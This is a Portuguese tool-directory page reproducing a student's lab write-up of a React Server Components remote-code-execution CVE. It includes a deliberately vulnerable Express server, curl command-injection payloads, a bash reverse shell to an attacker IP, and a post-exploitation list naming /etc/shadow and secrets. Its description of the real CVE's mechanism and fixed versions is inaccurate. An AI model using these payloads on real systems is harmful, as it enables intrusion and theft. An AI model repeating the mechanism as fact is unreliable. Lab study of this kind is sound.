Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
cve-2025-55182-analysis — Pesquisa de segurança e análise de exploração do CVE-2025-55182 (React) — mapeamento CVSS + OWASP Top 10 | Kitploit
Ferramentas/GitHubGitHub/mohamedniane/cve-2025-55182-analysis
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e Educação
GitHubmohamedniane/cve-2025-55182-analysis

cve-2025-55182-analysis

Pesquisa de segurança e análise de exploração do CVE-2025-55182 (React) — mapeamento CVSS + OWASP Top 10

Ver Repositório
2há 5 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-55182 — Análise de RCE em React Server Components

Análise de vulnerabilidade em aplicação web · M2 Cybersecurity · 2025 Autor: Niane Mohamed · LinkedIn

Cadeia de exploração de ponta a ponta de uma vulnerabilidade crítica (CVSS 10.0) de desserialização insegura no React Server Components, do reconhecimento à execução remota de código sem autenticação, com um roteiro completo de remediação.


⚠️ Aviso Ético

Esta pesquisa tem como alvo uma aplicação de laboratório deliberadamente vulnerável criada para demonstrar a CVE. Todos os testes ocorreram em uma rede virtual isolada, sem conexão com sistemas de produção, dados reais de usuários ou serviços de terceiros.

  • NÃO execute estas técnicas contra sistemas que você não possua ou para os quais não tenha autorização escrita explícita para testar.
  • NÃO implante a aplicação vulnerável em qualquer rede acessível pela internet.
  • Os princípios de divulgação responsável se aplicam — sempre relate descobertas por meio de canais coordenados.

Índice

  1. Resumo da Vulnerabilidade
  2. Versões Afetadas
  3. Ambiente de Laboratório
  4. Passo a Passo da Exploração
  5. Avaliação de Impacto
  6. Remediação
  7. Competências Demonstradas

Resumo da Vulnerabilidade

CampoValor
CVECVE-2025-55182
ClasseDesserialização Insegura → Execução Remota de Código
CVSS v3.110.0 (Crítico) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Autenticação necessáriaNenhuma
Interação do usuário necessáriaNenhuma
Vetor de ataqueRede (remoto)
ComponenteRuntime do React Server Components (RSC)

Como a vulnerabilidade funciona

O React Server Components introduziu um novo formato de serialização para transmitir componentes renderizados no servidor para o cliente. Em versões vulneráveis, o endpoint RSC aceita um payload JSON com um campo cmd que é passado sem sanitização para child_process.exec() como parte da avaliação da renderização no lado do servidor.

Um atacante pode enviar uma solicitação POST maliciosa que:

  1. É aceita como um payload RSC legítimo (sem autenticação, sem CSRF)
  2. Dispara a execução de código no lado do servidor durante a "renderização"
  3. É executada com os privilégios do processo Node.js (frequentemente root em contêineres)

Versões Afetadas

ComponenteFaixa VulnerávelCorrigido Em
react19.0.0 → 19.2.019.3.0+
react-server-dom-webpack19.0.0 → 19.2.019.3.0+
react-server-dom-esm19.0.0 → 19.2.019.3.0+

Ambiente de Laboratório

FunçãoSOFerramentas
AtacanteKali Linux (última versão)nmap, curl, netcat, OWASP ZAP, Firefox
AlvoUbuntu 22.04.4Node.js 18, Express, React 19.0 RSC
RedeVMware VMnet Host-OnlySem saída para a internet

Aplicação alvo

Um servidor mínimo Express + RSC que expõe um endpoint /rsc que executa de forma insegura comandos do payload recebido — reproduzindo o padrão de vulnerabilidade da CVE real de forma controlada:

// server.js — simplified, lab-only
const express = require('express');
const { exec } = require('child_process');

const app = express();
app.use(express.json({ limit: '2mb' }));

app.post('/rsc', (req, res) => {
  const payload = req.body?.payload;
  if (typeof payload?.cmd === 'string') {
    // VULNERABLE: executes attacker-controlled string
    exec(payload.cmd, { timeout: 10000 }, (err, stdout, stderr) => {
      if (err) return res.status(500).json({ error: String(err), stderr });
      return res.json({ ok: true, out: stdout });
    });
  }
});

app.listen(3000);

Passo a Passo da Exploração

Fase 1 — Reconhecimento

# Port discovery
nmap 192.168.159.131
# → 3000/tcp open  ppp  (Node.js RSC server)

# Service verification
curl -v http://192.168.159.131:3000/
# → HTTP/1.1 200 OK
# → X-Powered-By: Express
# → "Vulnerable RSC-like test server. Use POST /rsc with JSON..."

O cabeçalho X-Powered-By: Express e a porta incomum 3000 fornecem uma forte indicação de que se trata de uma aplicação Node.js — consistente com implantações RSC.

Fase 2 — Confirmação via comando benigno

Antes de tentar qualquer coisa destrutiva, valide a vulnerabilidade com um comando inofensivo:

curl -X POST http://192.168.159.131:3000/rsc \
  -H "Content-Type: application/json" \
  -d '{ "payload": { "cmd": "id" } }'

# Response:
# {"ok":true,"out":"uid=0(root) gid=0(root) groups=0(root)\n"}

✅ Confirmado: RCE sem autenticação como root. O servidor é executado com privilégios irrestritos.

Fase 3 — Shell reversa

Passe da execução de um único comando para um shell interativo completo:

# Listener on attacker machine
nc -lvnp 4444

# Payload delivery
curl -X POST http://192.168.159.131:3000/rsc \
  -H "Content-Type: application/json" \
  -d '{ "payload": { "cmd": "/bin/bash -c \"/bin/bash -i >& /dev/tcp/192.168.159.128/4444 0>&1\"" } }'

O listener recebe:

connect to [192.168.159.128] from (UNKNOWN) [192.168.159.131] 43980
root@ns1:~/vulnerable_rsc_app# id
uid=0(root) gid=0(root) groups=0(root)

Fase 4 — Potencial de pós-exploração (demonstrado, não executado)

Com root no alvo, um atacante poderia trivialmente:

  • Ler /etc/shadow, chaves SSH, segredos da aplicação, arquivos .env
  • Instalar persistência (cron jobs, serviços systemd, implantes de chaves SSH)
  • Mover-se lateralmente por meio de credenciais descobertas
  • Implantar criptomineradores ou ransomware
  • Modificar a aplicação Node.js para capturar dados de usuários silenciosamente

Avaliação de Impacto

Impacto nos negócios (cenário alvo fictício)

EixoImpactoExplicação
ConfidencialidadeCríticoAcesso total de leitura a todos os dados do servidor
IntegridadeCríticoCapacidade de modificar o código da aplicação e os dados dos usuários
DisponibilidadeAltoO atacante pode encerrar o serviço ou mantê-lo como refém para resgate
RegulatórioGraveViolação de GDPR/DSGVO com divulgação obrigatória em 72h · possível multa de 4% do faturamento global
ReputacionalGraveViolação pública associada a uma CVE danifica a confiança dos clientes
FinanceiroAltoResposta a incidentes, multas regulatórias, possível ação coletiva

Perfil do ator da ameaça

A baixa complexidade deste ataque — sem autenticação, sem interação do usuário, uma única solicitação HTTP — o torna atraente para:

  • Scanners oportunistas (botnets que varrem automaticamente em busca da CVE)
  • Corretores de acesso inicial que vendem acessos a grupos de ransomware
  • Atores estatais que visam organizações que usam renderização no servidor com React

Remediação

Imediata (em até 24 horas)

  1. Atualize o React para 19.3.0+ — versão corrigida

    npm update react react-server-dom-webpack react-server-dom-esm
    
  2. Regra temporária de WAF (se a atualização for adiada):

    Block POST requests to /rsc with JSON body containing "cmd" field
    
  3. Resposta emergencial a incidentes:

    • Revise os logs de acesso do servidor dos últimos 90 dias
    • Procure por tráfego POST /rsc incomum
    • Rotacione todos os segredos acessíveis a partir do servidor
    • Crie um snapshot do sistema afetado para perícia antes da remediação

Curto prazo (em até 2 semanas)

Baixar ferramenta